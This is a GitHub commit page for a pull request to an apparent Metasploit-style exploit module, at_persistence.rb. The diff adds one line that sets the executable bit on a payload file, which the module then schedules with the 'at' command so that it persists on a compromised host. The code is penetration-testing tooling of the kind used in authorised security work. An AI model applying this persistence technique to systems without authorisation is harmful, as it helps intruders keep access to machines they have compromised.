Skip to content

Commit 0d02997

Browse files
authored
Merge pull request #8 from open-security/feature/at-persistence
set payload file executable bit
2 parents a7cf0c8 + 6a8da32 commit 0d02997

File tree

1 file changed

+1
-0
lines changed

1 file changed

+1
-0
lines changed

modules/exploits/multi/local/at_persistence.rb

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -80,6 +80,7 @@ def exploit
8080
write_file(payload_file, persistent_payload)
8181
register_files_for_cleanup(payload_file) if datastore['CLEANUP']
8282

83+
cmd_exec("chmod 700 #{payload_file}")
8384
cmd_exec("at -f #{payload_file} #{datastore['TIME']}")
8485

8586
print_status("Waiting up to #{datastore['WfsDelay']}sec for execution")

0 commit comments

Comments
 (0)